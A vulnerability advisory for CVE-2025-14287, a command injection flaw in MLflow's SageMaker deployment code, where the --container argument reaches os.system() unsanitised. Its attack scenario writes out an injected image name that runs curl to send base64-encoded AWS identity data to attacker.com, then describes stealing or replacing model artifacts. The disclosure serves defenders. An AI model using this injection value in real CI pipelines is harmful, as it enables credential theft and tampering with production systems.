CVE-2025-14287

A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the `mlflow/sagemaker/__init__.py` file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using `os.system()`. This allows attackers to execute arbitrary commands by supplying malicious input through the `--container` parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.

An adversary with write access to a Git repository (via compromised developer credentials or a malicious PR) modifies the CI/CD pipeline configuration to pass a crafted container image name such as legitimate-image:latest; curl -s http://attacker.com/$(aws sts get-caller-identity | base64) to the MLflow SageMaker deployment command. When the pipeline triggers, MLflow interpolates the unsanitized string directly into an os.system() call, executing the injected command in the context of the CI runner. The attacker receives AWS caller identity (credentials), then uses them to access S3 model buckets, enumerate SageMaker endpoints, and exfiltrate or replace production model artifacts. No user interaction beyond the normal pipeline execution is required.